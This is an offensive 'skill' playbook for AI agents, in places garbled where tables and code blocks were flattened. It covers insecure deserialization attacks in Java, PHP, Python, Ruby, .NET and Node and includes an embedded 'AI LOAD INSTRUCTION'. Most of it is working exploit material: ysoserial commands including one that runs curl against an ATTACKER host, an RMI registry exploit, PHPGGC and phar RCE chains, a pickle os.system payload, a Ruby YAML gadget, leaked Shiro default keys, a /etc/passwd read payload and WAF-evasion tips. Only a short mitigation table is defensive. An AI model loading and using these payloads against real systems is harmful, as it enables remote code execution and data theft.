npx skills add ...
npx skills add yaklang/hack-skills --skill deserialization-insecure
Insecure deserialization playbook. Use when Java, PHP, or Python applications deserialize untrusted data via ObjectInputStream, unserialize, pickle, or similar mechanisms that may lead to RCE, file access, or privilege escalation.
npx skills add yaklang/hack-skills --skill deserialization-insecure
AI LOAD INSTRUCTION: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain.
@type payload — Ghost Bits wraps each bytecode byte in a Unicode char whose low 8 bits match, yielding a payload the WAF cannot fingerprintAlso load JAVA_GADGET_CHAINS.md when you need:
AC ED, .NET AAEAAD, Python pickle 80 0N, PHP O:, Ruby 04 08)| Indicator | Where to Look |
|---|---|
Hex ac ed 00 05 | Raw binary in request/response body, cookies, POST params |
Base64 rO0AB | Cookies (rememberMe), hidden form fields, JWT claims |
Content-Type: application/x-java-serialized-object | HTTP headers |
| T3/IIOP protocol traffic | WebLogic ports (7001, 7002) |
| Indicator | Where to Look |
|---|---|
O:NUMBER:"ClassName" pattern | POST body, cookies, session files |
a:NUMBER:{ (array) | Same locations |
phar:// URI usage | File operations accepting user-controlled paths |
| Indicator | Where to Look |
|---|---|
Hex 80 03 or 80 04 (protocol 3/4) | Binary data in requests, message queues |
| Base64-encoded binary blob | API params, cookies, Redis values |
pickle.loads / pickle.load in source | Code review / whitebox |
URLDNS triggers a DNS lookup without RCE — safe for confirming deserialization without damage:
DNS hit on collaborator = confirmed deserialization. Then escalate to RCE chains.
The vulnerability exists when org.apache.commons.collections (3.x) is on the classpath and the application calls readObject() on untrusted data.
Key classes in the chain: InvokerTransformer → ChainedTransformer → TransformedMap → triggers Runtime.exec() during deserialization.
Shiro uses AES-CBC to encrypt serialized Java objects in the rememberMe cookie.
Attack flow:
rememberMe=deleteMe cookie on invalid sessionrememberMe cookie valueDNSLog confirmation (before full RCE): use URLDNS chain → java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn" → encrypt → set cookie → check DNSLog for hit.
Post-fix (random key): Key may still leak via padding oracle, or another CVE (SHIRO-721).
Multiple vectors:
/wls-wsat/CoordinatorPortTypeRMI Registry (port 1099) accepts serialized objects by design:
| JDK Version | Impact |
|---|---|
| < 8u121 | RMI/LDAP remote class loading works |
| 8u121-8u190 | trustURLCodebase=false for RMI; LDAP still works |
| >= 8u191 | Both RMI and LDAP remote class loading blocked |
| >= 8u191 bypass | Use LDAP → return serialized gadget object (not remote class) |
PHP deserialization triggers magic methods in order:
Attack: craft a serialized object whose __destruct() or __wakeup() triggers dangerous operations (file write, SQL query, command execution, SSRF).
phpMyAdmin PMA_Config class reads arbitrary files via source property:
Phar archives contain serialized metadata. Any file operation on a phar:// URI triggers deserialization — even when unserialize() is never directly called.
Triggering functions (partial list):
Attack flow:
file_exists("phar://uploads/avatar.jpg")Python's pickle.loads() calls __reduce__() on objects during deserialization, which can return a callable + args:
Even when RestrictedUnpickler.find_class is used, check if the whitelist is too broad:
If safe_builtins includes eval, exec, or __import__ → still exploitable.
| Language | Mitigation |
|---|---|
| Java | JEP 290 deserialization filters; whitelist allowed classes; avoid ObjectInputStream on untrusted data; use JSON/Protobuf instead |
| PHP | Avoid unserialize() on user input; use json_decode() instead; block phar:// in file operations |
| Python | Use pickle only for trusted data; use json for external input; PyYAML: always use yaml.safe_load() |
Marshal.load on untrusted data → RCE[hex_string].pack("H*")YAML.load (not YAML.safe_load) executes arbitrary Ruby objectsGem::Requirement chain → git_set: id / git_set: sleep 600Gem::Installer → TarReader → Kernel#system chain (longer, multi-step)YAML.load("--- !ruby/object:Gem::Installer\ni: x") for class instantiation checkYAML.safe_load is safe (Ruby 2.1+); Psych.safe_load also safeTraffic fingerprint:
AAEAAD (base64 AAEAAAD/////)FF01 or /w prefix$type property in JSONBinaryFormatter (most dangerous, deprecated in .NET 5+): arbitrary type instantiation
XmlSerializer: ObjectDataProvider + XamlReader chain for command execution
NetDataContractSerializer: similar to BinaryFormatter, full type info in XML
LosFormatter: used in ViewState, deserializes to ObjectStateFormatter
JSON.NET: $type property enables type control → ObjectDataProvider + ExpandedWrapper chains
Tool: ysoserial.net — generate payloads for all .NET formatters
POP gadgets: ObjectDataProvider, ExpandedWrapper, AssemblyInstaller.set_Path
node-serialize: unserialize() with IIFE (Immediately Invoked Function Expression)
_$$ND_FUNC$$_() at end to auto-execute:funcster: __js_function property → constructor.constructor to access process
cryo: similar to funcster, serializes JS objects with function support
elttam/ruby-deserialization — Ruby gadget chain generatorfrohoff/ysoserial inspiration → check Ruby-specific forks| Indicator | Serializer |
|---|---|
Hex 00 01 00 00 00 / Base64 AAEAAD | BinaryFormatter |
Hex FF 01 / Base64 /w | DataContractSerializer |
ViewState starts with __VIEWSTATE | LosFormatter / ObjectStateFormatter |
JSON with $type property | JSON.NET (Newtonsoft) TypeNameHandling |
XML with <ObjectDataProvider> | XmlSerializer / NetDataContractSerializer |
Vulnerable when TypeNameHandling is set to Auto, Objects, Arrays, or All.
pwntester/ysoserial.net — primary .NET deserialization payload generatorTools: elttam/ruby-deserialization, mbechler/ysoserial (Ruby variant)
| Magic Bytes | Format |
|---|---|
AAEAAD (base64) / 00 01 00 00 00 (hex) | BinaryFormatter |
FF 01 or /w (base64) | ViewState (ObjectStateFormatter) |
< (XML opening) | XmlSerializer / DataContractSerializer |
JSON with $type key | JSON.NET (TypeNameHandling enabled) |
Vulnerable when TypeNameHandling != None in JSON deserialization settings.
pwntester/ysoserial.net — primary .NET gadget chain generatorNotSoSecure/Blacklist3r — decrypt/forge ViewState with known machineKeyjava -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.binKnown hard-coded keys (SHIRO-550 / CVE-2016-4437):
kPH+bIxk5D2deZiIxcaaaA== # most common default
wGJlpLanyXlVB1LUUWolBg== # another common default in older versions
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==# T3 probe — check if T3 is exposed:
nmap -sV -p 7001 TARGET
# Look for: "T3" or "WebLogic" in service banner# ysoserial exploit module for RMI:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id"
# Requires: vulnerable library on target's classpath
# Works on: JDK <= 8u111 without JEP 290 deserialization filter__wakeup() → called immediately on unserialize()
__destruct() → called when object is garbage-collected
__toString() → called when object is used as string
__call() → called for inaccessible methodsO:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";}
// O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES}action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}# List available chains:
phpggc -l
# Generate payload (example: Laravel RCE):
phpggc Laravel/RCE1 system id
# Common chains:
# Laravel/RCE1-10
# Symfony/RCE1-4
# Guzzle/RCE1
# Monolog/RCE1-2
# WordPress/RCE1
# Slim/RCE1file_exists() file_get_contents() fopen()
is_file() is_dir() copy()
filesize() filetype() stat()
include() require() getimagesize()# Generate phar with PHPGGC:
phpggc -p phar -o exploit.phar Monolog/RCE1 system idimport pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ("id",))
payload = pickle.dumps(Exploit())
# Send payload to target that calls pickle.loads()import pickletools
pickletools.dis(payload)
# Shows opcodes: GLOBAL, REDUCE, etc.
# Look for GLOBAL referencing dangerous modules (os, subprocess, builtins)pickle.loads(user_data)
pickle.load(file_handle)
yaml.load(data) # PyYAML without Loader=SafeLoader
jsonpickle.decode(data)
shelve.open(path)class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
raise pickle.UnpicklingError(f"forbidden: {module}.{name}")Found binary blob or encoded object in request/cookie?
├── Java signature (ac ed / rO0AB)?
│ ├── Use URLDNS probe for safe confirmation
│ ├── Identify libraries (error messages, known product)
│ └── Try ysoserial chains matching identified libraries
│
├── PHP signature (O:N:"...)?
│ ├── Identify framework (Laravel, Symfony, WordPress)
│ ├── Try PHPGGC chains for that framework
│ └── Check for phar:// wrapper in file operations
│
├── Python (opaque binary, base64 blob)?
│ ├── Try pickle payload with DNS callback
│ └── Check if PyYAML unsafe load is used
│
└── Not sure?
├── Try URLDNS payload (Java) — check DNS
├── Try PHP serialized test string
└── Monitor error messages for class loading failures# Java — URLDNS confirmation
java -jar ysoserial.jar URLDNS "http://TOKEN.collab.net"
# Java — RCE via CommonsCollections
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned"
# PHP — Laravel RCE
phpggc Laravel/RCE1 system "id"
# PHP — Phar polyglot
phpggc -p phar -o exploit.phar Monolog/RCE1 system "id"
# Python — Pickle RCE
python3 -c "import pickle,os;print(pickle.dumps(type('X',(),{'__reduce__':lambda s:(os.system,('id',))})()).hex())"
# Shiro default key test
rememberMe=<AES-CBC(key=kPH+bIxk5D2deZiIxcaaaA==, payload=ysoserial_output)>--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
type: :runtime
specs:
- !ruby/object:Gem::StubSpecification
loaded_from: "|id"